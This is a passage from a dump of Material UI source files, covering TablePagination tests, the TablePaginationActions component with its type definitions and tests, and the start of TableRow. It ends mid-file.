nextButton enabled', () => {\n      function Test() {\n        const [page, setPage] = React.useState(0);\n        return (\n          <table>\n            <TableFooter>\n              <TableRow>\n                <TablePagination\n                  page={page}\n                  rowsPerPage={10}\n                  count={-1}\n                  onPageChange={(_, newPage) => {\n                    setPage(newPage);\n                  }}\n                />\n              </TableRow>\n            </TableFooter>\n          </table>\n        );\n      }\n\n      const { container } = render(<Test />);\n\n      expect(container).to.have.text('Rows per page:101–10 of more than 10');\n      fireEvent.click(screen.getByRole('button', { name: 'Go to next page' }));\n      expect(container).to.have.text('Rows per page:1011–20 of more than 20');\n    });\n  });\n\n  describe('prop: showFirstButton', () => {\n    it('should change the page', () => {\n      const handleChangePage = spy();\n\n      render(\n        <table>\n          <TableFooter>\n            <TableRow>\n              <TablePagination\n                showFirstButton\n                page={1}\n                rowsPerPage={10}\n                count={98}\n                onPageChange={handleChangePage}\n              />\n            </TableRow>\n          </TableFooter>\n        </table>,\n      );\n\n      fireEvent.click(screen.getByRole('button', { name: 'Go to first page' }));\n      expect(handleChangePage.args[0][1]).to.equal(0);\n    });\n  });\n\n  describe('prop: showLastButton', () => {\n    it('should change the page', () => {\n      const handleChangePage = spy();\n\n      render(\n        <table>\n          <TableFooter>\n            <TableRow>\n              <TablePagination\n                showLastButton\n                page={0}\n                rowsPerPage={10}\n                count={98}\n                onPageChange={handleChangePage}\n              />\n            </TableRow>\n          </TableFooter>\n        </table>,\n      );\n\n      fireEvent.click(screen.getByRole('button', { name: 'Go to last page' }));\n      expect(handleChangePage.args[0][1]).to.equal(9);\n    });\n  });\n\n  describe('slotProps: actions.previousButton', () => {\n    it('should apply props to the back button', () => {\n      render(\n        <table>\n          <TableFooter>\n            <TableRow>\n              <TablePagination\n                slotProps={{ actions: { previousButton: { disabled: true } } }}\n                count={1}\n                page={0}\n                onPageChange={noop}\n                onRowsPerPageChange={noop}\n                rowsPerPage={10}\n              />\n            </TableRow>\n          </TableFooter>\n        </table>,\n      );\n\n      const backButton = screen.getByRole('button', { name: 'Go to previous page' });\n      expect(backButton).to.have.property('disabled', true);\n    });\n  });\n\n  describe('slotProps: actions.nextButton', () => {\n    it('should apply props to the next button', () => {\n      render(\n        <table>\n          <TableFooter>\n            <TableRow>\n              <TablePagination\n                slotProps={{ actions: { nextButton: { disabled: true } } }}\n                count={1}\n                page={0}\n                onPageChange={noop}\n                onRowsPerPageChange={noop}\n                rowsPerPage={10}\n              />\n            </TableRow>\n          </TableFooter>\n        </table>,\n      );\n\n      const nextButton = screen.getByRole('button', { name: 'Go to next page' });\n      expect(nextButton).to.have.property('disabled', true);\n    });\n  });\n\n  describe('prop: disabled', () => {\n    it('should disable the first, last, next, and back buttons', () => {\n      render(\n        <table>\n          <TableFooter>\n            <TableRow>\n              <TablePagination\n                disabled\n                showFirstButton\n                showLastButton\n                count={30}\n                page={1}\n                onPageChange={noop}\n                onRowsPerPageChange={noop}\n                rowsPerPage={10}\n              />\n            </TableRow>\n          </TableFooter>\n        </table>,\n      );\n\n      const firstButton = screen.getByRole('button', { name: 'Go to first page' });\n      const lastButton = screen.getByRole('button', { name: 'Go to last page' });\n      const nextButton = screen.getByRole('button', { name: 'Go to next page' });\n      const backButton = screen.getByRole('button', { name: 'Go to previous page' });\n      expect(firstButton).to.have.property('disabled', true);\n      expect(lastButton).to.have.property('disabled', true);\n      expect(nextButton).to.have.property('disabled', true);\n      expect(backButton).to.have.property('disabled', true);\n    });\n\n    it('should disable TablePaginationSelect', () => {\n      render(\n        <table>\n          <TableFooter>\n            <TableRow>\n              <TablePagination\n                disabled\n                count={10}\n                page={0}\n                onPageChange={noop}\n                onRowsPerPageChange={noop}\n                rowsPerPage={10}\n              />\n            </TableRow>\n          </TableFooter>\n        </table>,\n      );\n\n      const combobox = screen.getByRole('combobox');\n      expect(combobox.parentElement).to.have.class(inputClasses.disabled);\n    });\n  });\n\n  describe('warnings', () => {\n    beforeEach(() => {\n      PropTypes.resetWarningCache();\n    });\n\n    it('should raise a warning if the page prop is out of range', () => {\n      expect(() => {\n        PropTypes.checkPropTypes(\n          TablePagination.propTypes,\n          {\n            classes: {},\n            page: 2,\n            count: 20,\n            rowsPerPage: 10,\n            onPageChange: noop,\n            onRowsPerPageChange: noop,\n          },\n          'prop',\n          'MockedTablePagination',\n        );\n      }).toErrorDev(\n        'MUI: The page prop of a TablePagination is out of range (0 to 1, but page is 2).',\n      );\n    });\n  });\n\n  describe('slotProps: select', () => {\n    it('does allow manual label ids', () => {\n      render(\n        <table>\n          <TableFooter>\n            <TableRow>\n              <TablePagination\n                count={1}\n                page={0}\n                onPageChange={noop}\n                onRowsPerPageChange={noop}\n                rowsPerPage={10}\n                slotProps={{ select: { id: 'foo', labelId: 'bar' } }}\n              />\n            </TableRow>\n          </TableFooter>\n        </table>,\n      );\n\n      const combobox = screen.getByRole('combobox');\n      expect(combobox).toHaveAccessibleName('Rows per page:');\n    });\n\n    ['standard', 'outlined', 'filled'].forEach((variant) => {\n      it(`should be able to apply the ${variant} variant to select`, () => {\n        render(\n          <table>\n            <TableFooter>\n              <TableRow>\n                <TablePagination\n                  count={1}\n                  page={0}\n                  onPageChange={noop}\n                  onRowsPerPageChange={noop}\n                  rowsPerPage={10}\n                  slotProps={{ select: { variant } }}\n                />\n              </TableRow>\n            </TableFooter>\n          </table>,\n        );\n\n        const combobox = screen.getByRole('combobox');\n        const comboboxContainer = combobox.parentElement;\n\n        if (variant === 'standard') {\n          expect(comboboxContainer).to.have.class(inputClasses.root);\n        } else if (variant === 'outlined') {\n          expect(comboboxContainer).to.have.class(outlinedInputClasses.root);\n        } else if (variant === 'filled') {\n          expect(comboboxContainer).to.have.class(filledInputClasses.root);\n        }\n      });\n    });\n  });\n\n  describe('prop: rowsPerPage', () => {\n    it('should display max number of rows text when prop is -1', () => {\n      const { container } = render(\n        <table>\n          <TableFooter>\n            <TableRow>\n              <TablePagination\n                rowsPerPageOptions={[5, 10, 25, { label: 'All', value: -1 }]}\n                count={25}\n                page={0}\n                rowsPerPage={-1}\n                onPageChange={noop}\n              />\n            </TableRow>\n          </TableFooter>\n        </table>,\n      );\n\n      expect(container).to.include.text('All');\n      expect(container).to.include.text('1–25 of 25');\n    });\n  });\n\n  describe('prop: slotProps', () => {\n    describe('actions', () => {\n      describe('previousButton', () => {\n        it('should apply slotProps to previous button', () => {\n          render(\n            <table>\n              <TableFooter>\n                <TableRow>\n                  <TablePagination\n                    slotProps={{\n                      actions: {\n                        previousButton: { disabled: true },\n                      },\n                    }}\n                    count={1}\n                    page={0}\n                    onPageChange={noop}\n                    onRowsPerPageChange={noop}\n                    rowsPerPage={10}\n                  />\n                </TableRow>\n              </TableFooter>\n            </table>,\n          );\n\n          const backButton = screen.getByRole('button', { name: 'Go to previous page' });\n          expect(backButton).to.have.property('disabled', true);\n        });\n      });\n\n      describe('nextButton', () => {\n        it('should apply slotProps to next button', () => {\n          render(\n            <table>\n              <TableFooter>\n                <TableRow>\n                  <TablePagination\n                    slotProps={{\n                      actions: { nextButton: { disabled: true } },\n                    }}\n                    count={1}\n                    page={0}\n                    onPageChange={noop}\n                    onRowsPerPageChange={noop}\n                    rowsPerPage={10}\n                  />\n                </TableRow>\n              </TableFooter>\n            </table>,\n          );\n\n          const nextButton = screen.getByRole('button', { name: 'Go to next page' });\n          expect(nextButton).to.have.property('disabled', true);\n        });\n      });\n\n      it('should pass props to button icons', () => {\n        render(\n          <table>\n            <TableFooter>\n              <TableRow>\n                <TablePagination\n                  count={1}\n                  page={0}\n                  onPageChange={noop}\n                  onRowsPerPageChange={noop}\n                  rowsPerPage={10}\n                  showFirstButton\n                  showLastButton\n                  slotProps={{\n                    actions: {\n                      firstButtonIcon: {\n                        fontSize: 'small',\n                      },\n                      lastButtonIcon: {\n                        fontSize: 'large',\n                      },\n                      previousButtonIcon: {\n                        fontSize: 'inherit',\n                      },\n                    },\n                  }}\n                />\n              </TableRow>\n            </TableFooter>\n          </table>,\n        );\n\n        expect(screen.getByTestId('FirstPageIcon')).to.have.class(svgIconClasses.fontSizeSmall);\n        expect(screen.getByTestId('LastPageIcon')).to.have.class(svgIconClasses.fontSizeLarge);\n        expect(screen.getByTestId('KeyboardArrowLeftIcon')).to.have.class(\n          svgIconClasses.fontSizeInherit,\n        );\n        expect(screen.getByTestId('KeyboardArrowRightIcon')).to.have.class(\n          svgIconClasses.fontSizeMedium,\n        );\n      });\n    });\n\n    describe('select', () => {\n      it('should apply slotProps to select', () => {\n        render(\n          <table>\n            <TableFooter>\n              <TableRow>\n                <TablePagination\n                  slotProps={{ select: { disabled: true } }}\n                  count={1}\n                  page={0}\n                  onPageChange={noop}\n                  onRowsPerPageChange={noop}\n                  rowsPerPage={10}\n                />\n              </TableRow>\n            </TableFooter>\n          </table>,\n        );\n\n        const combobox = screen.getByRole('combobox');\n        expect(combobox.parentElement).to.have.class(inputClasses.disabled);\n      });\n    });\n  });\n\n  describe('prop: slots', () => {\n    it('should render custom action buttons', () => {\n      function CustomIconButton(props) {\n        const { children, ...other } = props;\n        return (\n          <IconButton {...other} color=\"secondary\">\n            {children}\n          </IconButton>\n        );\n      }\n\n      render(\n        <table>\n          <TableFooter>\n            <TableRow>\n              <TablePagination\n                count={1}\n                page={0}\n                onPageChange={noop}\n                onRowsPerPageChange={noop}\n                rowsPerPage={10}\n                showFirstButton\n                showLastButton\n                slots={{\n                  actions: {\n                    firstButton: CustomIconButton,\n                    lastButton: CustomIconButton,\n                    nextButton: CustomIconButton,\n                    previousButton: CustomIconButton,\n                  },\n                }}\n              />\n            </TableRow>\n          </TableFooter>\n        </table>,\n      );\n\n      const firstButton = screen.getByRole('button', { name: 'Go to first page' });\n      const lastButton = screen.getByRole('button', { name: 'Go to last page' });\n      const nextButton = screen.getByRole('button', { name: 'Go to next page' });\n      const previousButton = screen.getByRole('button', { name: 'Go to previous page' });\n\n      expect(firstButton).to.have.class(iconButtonClasses.colorSecondary);\n      expect(lastButton).to.have.class(iconButtonClasses.colorSecondary);\n      expect(nextButton).to.have.class(iconButtonClasses.colorSecondary);\n      expect(previousButton).to.have.class(iconButtonClasses.colorSecondary);\n    });\n\n    it('should render custom action button icons', () => {\n      render(\n        <table>\n          <TableFooter>\n            <TableRow>\n              <TablePagination\n                count={1}\n                page={0}\n                onPageChange={noop}\n                onRowsPerPageChange={noop}\n                rowsPerPage={10}\n                showFirstButton\n                showLastButton\n                slots={{\n                  actions: {\n                    firstButtonIcon: KeyboardDoubleArrowLeftRoundedIcon,\n                    lastButtonIcon: KeyboardDoubleArrowRightRoundedIcon,\n                    previousButtonIcon: ArrowBackIcon,\n                    nextButtonIcon: ArrowForwardIcon,\n                  },\n                }}\n              />\n            </TableRow>\n          </TableFooter>\n        </table>,\n      );\n\n      expect(screen.getByTestId('KeyboardDoubleArrowLeftRoundedIcon')).not.to.equal(null);\n      expect(screen.getByTestId('KeyboardDoubleArrowRightRoundedIcon')).not.to.equal(null);\n      expect(screen.getByTestId('ArrowBackIcon')).not.to.equal(null);\n      expect(screen.getByTestId('ArrowForwardIcon')).not.to.equal(null);\n    });\n  });\n\n  describe('duplicated keys', () => {\n    it('should not raise a warning due to duplicated keys', () => {\n      render(\n        <table>\n          <TableFooter>\n            <TableRow>\n              <TablePagination\n                rowsPerPageOptions={[5, 10, { label: 'All', value: 10 }]}\n                count={10}\n                rowsPerPage={10}\n                page={0}\n                onPageChange={noop}\n                slotProps={{\n                  select: {\n                    inputProps: { 'aria-label': 'rows per page' },\n                    native: true,\n                  },\n                }}\n              />\n            </TableRow>\n          </TableFooter>\n        </table>,\n      );\n    });\n  });\n\n  it('should not have \"variant\" attribute on TablePaginationSelect', () => {\n    render(\n      <table>\n        <TableFooter>\n          <TableRow>\n            <TablePagination\n              count={1}\n              page={0}\n              onPageChange={noop}\n              onRowsPerPageChange={noop}\n              rowsPerPage={10}\n            />\n          </TableRow>\n        </TableFooter>\n      </table>,\n    );\n\n    const [combobox] = screen.getAllByRole('button');\n\n    expect(combobox.parentElement).not.to.have.attribute('variant');\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/TablePagination/index.d.ts",
    "content": "export { default } from './TablePagination';\nexport * from './TablePagination';\n\nexport { default as tablePaginationClasses } from './tablePaginationClasses';\nexport * from './tablePaginationClasses';\n"
  },
  {
    "path": "packages/mui-material/src/TablePagination/index.js",
    "content": "export { default } from './TablePagination';\n\nexport { default as tablePaginationClasses } from './tablePaginationClasses';\nexport * from './tablePaginationClasses';\n"
  },
  {
    "path": "packages/mui-material/src/TablePagination/tablePaginationClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface TablePaginationClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the Toolbar component. */\n  toolbar: string;\n  /** Styles applied to the spacer element. */\n  spacer: string;\n  /** Styles applied to the select label Typography element. */\n  selectLabel: string;\n  /** Styles applied to the Select component `root` element. */\n  selectRoot: string;\n  /** Styles applied to the Select component `select` class. */\n  select: string;\n  /** Styles applied to the Select component `icon` class. */\n  selectIcon: string;\n  /** Styles applied to the Select component `root` element. */\n  input: string;\n  /** Styles applied to the MenuItem component. */\n  menuItem: string;\n  /** Styles applied to the displayed rows Typography element. */\n  displayedRows: string;\n  /** Styles applied to the internal `TablePaginationActions` component. */\n  actions: string;\n}\n\nexport type TablePaginationClassKey = keyof TablePaginationClasses;\n\nexport function getTablePaginationUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiTablePagination', slot);\n}\n\nconst tablePaginationClasses: TablePaginationClasses = generateUtilityClasses(\n  'MuiTablePagination',\n  [\n    'root',\n    'toolbar',\n    'spacer',\n    'selectLabel',\n    'selectRoot',\n    'select',\n    'selectIcon',\n    'input',\n    'menuItem',\n    'displayedRows',\n    'actions',\n  ],\n);\n\nexport default tablePaginationClasses;\n"
  },
  {
    "path": "packages/mui-material/src/TablePaginationActions/TablePaginationActions.d.ts",
    "content": "import * as React from 'react';\nimport { IconButtonProps } from '../IconButton/IconButton';\nimport { SvgIconProps } from '../SvgIcon';\n\nexport interface TablePaginationActionsProps extends React.HTMLAttributes<HTMLDivElement> {\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: {} | undefined;\n  className?: string | undefined;\n  count: number;\n  /**\n   * If `true`, the component is disabled.\n   * @default false\n   */\n  disabled?: boolean | undefined;\n  /**\n   * Accepts a function which returns a string value that provides a user-friendly name for the current page.\n   * This is important for screen reader users.\n   *\n   * For localization purposes, you can use the provided [translations](https://mui.com/material-ui/guides/localization/).\n   * @param {string} type The link or button type to format ('first' | 'last' | 'next' | 'previous').\n   * @returns {string}\n   */\n  getItemAriaLabel: (type: 'first' | 'last' | 'next' | 'previous') => string;\n  onPageChange: (event: React.MouseEvent<HTMLButtonElement> | null, page: number) => void;\n  page: number;\n  rowsPerPage: number;\n  showFirstButton: boolean;\n  showLastButton: boolean;\n  slotProps?:\n    | {\n        firstButton?: Partial<IconButtonProps> | undefined;\n        lastButton?: Partial<IconButtonProps> | undefined;\n        nextButton?: Partial<IconButtonProps> | undefined;\n        previousButton?: Partial<IconButtonProps> | undefined;\n        firstButtonIcon?: Partial<SvgIconProps> | undefined;\n        lastButtonIcon?: Partial<SvgIconProps> | undefined;\n        nextButtonIcon?: Partial<SvgIconProps> | undefined;\n        previousButtonIcon?: Partial<SvgIconProps> | undefined;\n      }\n    | undefined;\n  slots?: TablePaginationActionsSlots | undefined;\n}\n\nexport interface TablePaginationActionsSlots {\n  /**\n   * The component that renders the first button.\n   * @default IconButton\n   */\n  firstButton?: React.ElementType | undefined;\n  /**\n   * The component that renders the last button.\n   * @default IconButton\n   */\n  lastButton?: React.ElementType | undefined;\n  /**\n   * The component that renders the next button.\n   * @default IconButton\n   */\n  nextButton?: React.ElementType | undefined;\n  /**\n   * The component that renders the previous button.\n   * @default IconButton\n   */\n  previousButton?: React.ElementType | undefined;\n  /**\n   * The component that renders the first button icon.\n   * @default FirstPageIcon\n   */\n  firstButtonIcon?: React.ElementType | undefined;\n  /**\n   * The component that renders the last button icon.\n   * @default LastPageIcon\n   */\n  lastButtonIcon?: React.ElementType | undefined;\n  /**\n   * The component that renders the next button icon.\n   * @default KeyboardArrowRight\n   */\n  nextButtonIcon?: React.ElementType | undefined;\n  /**\n   * The component that renders the previous button icon.\n   * @default KeyboardArrowLeft\n   */\n  previousButtonIcon?: React.ElementType | undefined;\n}\n/**\n *\n * Demos:\n *\n * - [Pagination](https://next.mui.com/material-ui/react-pagination/)\n *\n * API:\n *\n * - [TablePaginationActions API](https://next.mui.com/material-ui/api/table-pagination-actions/)\n */\ndeclare const TablePaginationActions: React.JSXElementConstructor<TablePaginationActionsProps>;\n\nexport default TablePaginationActions;\n"
  },
  {
    "path": "packages/mui-material/src/TablePaginationActions/TablePaginationActions.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport { useRtl } from '@mui/system/RtlProvider';\nimport composeClasses from '@mui/utils/composeClasses';\nimport clsx from 'clsx';\nimport { styled } from '../zero-styled';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport KeyboardArrowLeft from '../internal/svg-icons/KeyboardArrowLeft';\nimport KeyboardArrowRight from '../internal/svg-icons/KeyboardArrowRight';\nimport IconButton from '../IconButton';\nimport LastPageIconDefault from '../internal/svg-icons/LastPage';\nimport FirstPageIconDefault from '../internal/svg-icons/FirstPage';\nimport { getTablePaginationActionsUtilityClass } from './tablePaginationActionsClasses';\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes } = ownerState;\n\n  const slots = {\n    root: ['root'],\n  };\n\n  return composeClasses(slots, getTablePaginationActionsUtilityClass, classes);\n};\n\nconst TablePaginationActionsRoot = styled('div', {\n  name: 'MuiTablePaginationActions',\n  slot: 'Root',\n})({});\n\nconst TablePaginationActions = React.forwardRef(function TablePaginationActions(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiTablePaginationActions' });\n\n  const {\n    className,\n    count,\n    disabled = false,\n    getItemAriaLabel,\n    onPageChange,\n    page,\n    rowsPerPage,\n    showFirstButton,\n    showLastButton,\n    slots = {},\n    slotProps = {},\n    ...other\n  } = props;\n\n  const isRtl = useRtl();\n\n  const ownerState = props;\n\n  const classes = useUtilityClasses(ownerState);\n\n  const handleFirstPageButtonClick = (event) => {\n    onPageChange(event, 0);\n  };\n\n  const handleBackButtonClick = (event) => {\n    onPageChange(event, page - 1);\n  };\n\n  const handleNextButtonClick = (event) => {\n    onPageChange(event, page + 1);\n  };\n\n  const handleLastPageButtonClick = (event) => {\n    onPageChange(event, Math.max(0, Math.ceil(count / rowsPerPage) - 1));\n  };\n\n  const FirstButton = slots.firstButton ?? IconButton;\n  const LastButton = slots.lastButton ?? IconButton;\n  const NextButton = slots.nextButton ?? IconButton;\n  const PreviousButton = slots.previousButton ?? IconButton;\n  const FirstButtonIcon = slots.firstButtonIcon ?? FirstPageIconDefault;\n  const LastButtonIcon = slots.lastButtonIcon ?? LastPageIconDefault;\n  const NextButtonIcon = slots.nextButtonIcon ?? KeyboardArrowRight;\n  const PreviousButtonIcon = slots.previousButtonIcon ?? KeyboardArrowLeft;\n\n  const FirstButtonSlot = isRtl ? LastButton : FirstButton;\n  const PreviousButtonSlot = isRtl ? NextButton : PreviousButton;\n  const NextButtonSlot = isRtl ? PreviousButton : NextButton;\n  const LastButtonSlot = isRtl ? FirstButton : LastButton;\n\n  const firstButtonSlotProps = isRtl ? slotProps.lastButton : slotProps.firstButton;\n  const previousButtonSlotProps = isRtl ? slotProps.nextButton : slotProps.previousButton;\n  const nextButtonSlotProps = isRtl ? slotProps.previousButton : slotProps.nextButton;\n  const lastButtonSlotProps = isRtl ? slotProps.firstButton : slotProps.lastButton;\n\n  return (\n    <TablePaginationActionsRoot ref={ref} className={clsx(classes.root, className)} {...other}>\n      {showFirstButton && (\n        <FirstButtonSlot\n          onClick={handleFirstPageButtonClick}\n          disabled={disabled || page === 0}\n          aria-label={getItemAriaLabel('first', page)}\n          title={getItemAriaLabel('first', page)}\n          {...firstButtonSlotProps}\n        >\n          {isRtl ? (\n            <LastButtonIcon {...slotProps.lastButtonIcon} />\n          ) : (\n            <FirstButtonIcon {...slotProps.firstButtonIcon} />\n          )}\n        </FirstButtonSlot>\n      )}\n      <PreviousButtonSlot\n        onClick={handleBackButtonClick}\n        disabled={disabled || page === 0}\n        color=\"inherit\"\n        aria-label={getItemAriaLabel('previous', page)}\n        title={getItemAriaLabel('previous', page)}\n        {...previousButtonSlotProps}\n      >\n        {isRtl ? (\n          <NextButtonIcon {...slotProps.nextButtonIcon} />\n        ) : (\n          <PreviousButtonIcon {...slotProps.previousButtonIcon} />\n        )}\n      </PreviousButtonSlot>\n      <NextButtonSlot\n        onClick={handleNextButtonClick}\n        disabled={disabled || (count !== -1 ? page >= Math.ceil(count / rowsPerPage) - 1 : false)}\n        color=\"inherit\"\n        aria-label={getItemAriaLabel('next', page)}\n        title={getItemAriaLabel('next', page)}\n        {...nextButtonSlotProps}\n      >\n        {isRtl ? (\n          <PreviousButtonIcon {...slotProps.previousButtonIcon} />\n        ) : (\n          <NextButtonIcon {...slotProps.nextButtonIcon} />\n        )}\n      </NextButtonSlot>\n      {showLastButton && (\n        <LastButtonSlot\n          onClick={handleLastPageButtonClick}\n          disabled={disabled || page >= Math.ceil(count / rowsPerPage) - 1}\n          aria-label={getItemAriaLabel('last', page)}\n          title={getItemAriaLabel('last', page)}\n          {...lastButtonSlotProps}\n        >\n          {isRtl ? (\n            <FirstButtonIcon {...slotProps.firstButtonIcon} />\n          ) : (\n            <LastButtonIcon {...slotProps.lastButtonIcon} />\n          )}\n        </LastButtonSlot>\n      )}\n    </TablePaginationActionsRoot>\n  );\n});\n\nTablePaginationActions.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * @ignore\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * @ignore\n   */\n  count: PropTypes.number.isRequired,\n  /**\n   * If `true`, the component is disabled.\n   * @default false\n   */\n  disabled: PropTypes.bool,\n  /**\n   * Accepts a function which returns a string value that provides a user-friendly name for the current page.\n   * This is important for screen reader users.\n   *\n   * For localization purposes, you can use the provided [translations](https://mui.com/material-ui/guides/localization/).\n   * @param {string} type The link or button type to format ('first' | 'last' | 'next' | 'previous').\n   * @returns {string}\n   */\n  getItemAriaLabel: PropTypes.func.isRequired,\n  /**\n   * @ignore\n   */\n  onPageChange: PropTypes.func.isRequired,\n  /**\n   * @ignore\n   */\n  page: PropTypes.number.isRequired,\n  /**\n   * @ignore\n   */\n  rowsPerPage: PropTypes.number.isRequired,\n  /**\n   * @ignore\n   */\n  showFirstButton: PropTypes.bool.isRequired,\n  /**\n   * @ignore\n   */\n  showLastButton: PropTypes.bool.isRequired,\n  /**\n   * @ignore\n   */\n  slotProps: PropTypes.shape({\n    firstButton: PropTypes.object,\n    firstButtonIcon: PropTypes.object,\n    lastButton: PropTypes.object,\n    lastButtonIcon: PropTypes.object,\n    nextButton: PropTypes.object,\n    nextButtonIcon: PropTypes.object,\n    previousButton: PropTypes.object,\n    previousButtonIcon: PropTypes.object,\n  }),\n  /**\n   * @ignore\n   */\n  slots: PropTypes.shape({\n    firstButton: PropTypes.elementType,\n    firstButtonIcon: PropTypes.elementType,\n    lastButton: PropTypes.elementType,\n    lastButtonIcon: PropTypes.elementType,\n    nextButton: PropTypes.elementType,\n    nextButtonIcon: PropTypes.elementType,\n    previousButton: PropTypes.elementType,\n    previousButtonIcon: PropTypes.elementType,\n  }),\n};\n\nexport default TablePaginationActions;\n"
  },
  {
    "path": "packages/mui-material/src/TablePaginationActions/TablePaginationActions.test.js",
    "content": "import { createRenderer } from '@mui/internal-test-utils';\nimport TablePaginationActions, {\n  tablePaginationActionsClasses as classes,\n} from '@mui/material/TablePaginationActions';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<TablePaginationActions />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(\n    <TablePaginationActions\n      getItemAriaLabel={(type) => {\n        if (type === 'first') {\n          return 'first';\n        }\n        if (type === 'last') {\n          return 'last';\n        }\n        if (type === 'next') {\n          return 'next';\n        }\n        return 'previous';\n      }}\n      count={100}\n      onPageChange={() => {}}\n      page={1}\n      rowsPerPage={10}\n      showFirstButton\n      showLastButton\n    />,\n    () => ({\n      inheritComponent: 'div',\n      render,\n      classes,\n      muiName: 'MuiTablePaginationActions',\n      refInstanceof: window.HTMLDivElement,\n      skip: ['componentProp', 'themeVariants'],\n    }),\n  );\n});\n"
  },
  {
    "path": "packages/mui-material/src/TablePaginationActions/index.d.ts",
    "content": "export { default } from './TablePaginationActions';\nexport * from './TablePaginationActions';\n\nexport { default as tablePaginationActionsClasses } from './tablePaginationActionsClasses';\nexport * from './tablePaginationActionsClasses';\n"
  },
  {
    "path": "packages/mui-material/src/TablePaginationActions/index.js",
    "content": "export { default } from './TablePaginationActions';\nexport { default as tablePaginationActionsClasses } from './tablePaginationActionsClasses';\n"
  },
  {
    "path": "packages/mui-material/src/TablePaginationActions/tablePaginationActionsClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface TablePaginationActionsClasses {\n  /** Styles applied to the root element. */\n  root: string;\n}\n\nexport type TablePaginationActionsClassKey = keyof TablePaginationActionsClasses;\n\nexport function getTablePaginationActionsUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiTablePaginationActions', slot);\n}\n\nconst tablePaginationActionsClasses: TablePaginationActionsClasses = generateUtilityClasses(\n  'MuiTablePaginationActions',\n  ['root'],\n);\n\nexport default tablePaginationActionsClasses;\n"
  },
  {
    "path": "packages/mui-material/src/TableRow/TableRow.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { Theme } from '../styles';\nimport { OverridableComponent, OverrideProps } from '../OverridableComponent';\nimport { TableRowClasses } from './tableRowClasses';\n\nexport interface TableRowOwnProps {\n  /**\n   * Should be valid `<tr>` children such as `TableCell`.\n   */\n  children?: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<TableRowClasses> | undefined;\n  /**\n   * If `true`, the table row will shade on hover.\n   * @default false\n   */\n  hover?: boolean | undefined;\n  /**\n   * If `true`, the table row will have the selected shading.\n   * @default false\n   */\n  selected?: boolean | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n}\n\nexport interface TableRowTypeMap<\n  AdditionalProps = {},\n  RootComponent extends React.ElementType = 'tr',\n> {\n  props: AdditionalProps & TableRowOwnProps;\n  defaultComponent: RootComponent;\n}\n/**\n * Will automatically set dynamic row height\n * based on the material table element parent (head, body, etc).\n *\n * Demos:\n *\n * - [Table](https://next.mui.com/material-ui/react-table/)\n *\n * API:\n *\n * - [TableRow API](https://next.mui.com/material-ui/api/table-row/)\n */\ndeclare const TableRow: OverridableComponent<TableRowTypeMap>;\n\nexport type TableRowProps<\n  RootComponent extends React.ElementType = TableRowTypeMap['defaultComponent'],\n  AdditionalProps = {},\n> = OverrideProps<TableRowTypeMap<AdditionalProps, RootComponent>, RootComponent> & {\n  component?: React.ElementType | undefined;\n};\n\nexport default TableRow;\n"
  },
  {
    "path": "packages/mui-material/src/TableRow/TableRow.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport composeClasses from '@mui/utils/composeClasses';\nimport Tablelvl2Context from '../Table/Tablelvl2Context';\nimport { styled } from '../zero-styled';\nimport memoTheme from '../utils/memoTheme';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport tableRowClasses, { getTableRowUtilityClass } from './tableRowClasses';\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes, selected, hover, head, footer } = ownerState;\n\n  const slots = {\n    root: ['root', selected && 'selected', hover && 'hover', head && 'head', footer && 'footer'],\n  };\n\n  return composeClasses(slots, getTableRowUtilityClass, classes);\n};\n\nconst TableRowRoot = styled('tr', {\n  name: 'MuiTableRow',\n  slot: 'Root',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [styles.root, ownerState.head && styles.head, ownerState.footer && styles.footer];\n  },\n})(\n  memoTheme(({ theme }) => ({\n    color: 'inherit',\n    display: 'table-row',\n    verticalAlign: 'middle',\n    // We disable the focus ring for mouse, touch and keyboard users.\n    outline: 0,\n    [`&.${tableRowClasses.hover}:hover`]: {\n      backgroundColor: (theme.vars || theme).palette.action.hover,\n    },\n    [`&.${tableRowClasses.selected}`]: {\n      backgroundColor: theme.alpha(\n        (theme.vars || theme).palette.primary.main,\n        (theme.vars || theme).palette.action.selectedOpacity,\n      ),\n      '&:hover': {\n        backgroundColor: theme.alpha(\n          (theme.vars || theme).palette.primary.main,\n          `${(theme.vars || theme).palette.action.selectedOpacity} + ${(theme.vars || theme).palette.action.hoverOpacity}`,\n        ),\n      },\n    },\n  })),\n);\n\nconst defaultComponent = 'tr';\n/**\n * Will automatically set dynamic row height\n * based on the material table element parent (head, body, etc).\n */\nconst TableRow = React.forwardRef(function TableRow(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiTableRow' });\n  const {\n    className,\n    component = defaultComponent,\n    hover = false,\n    selected = 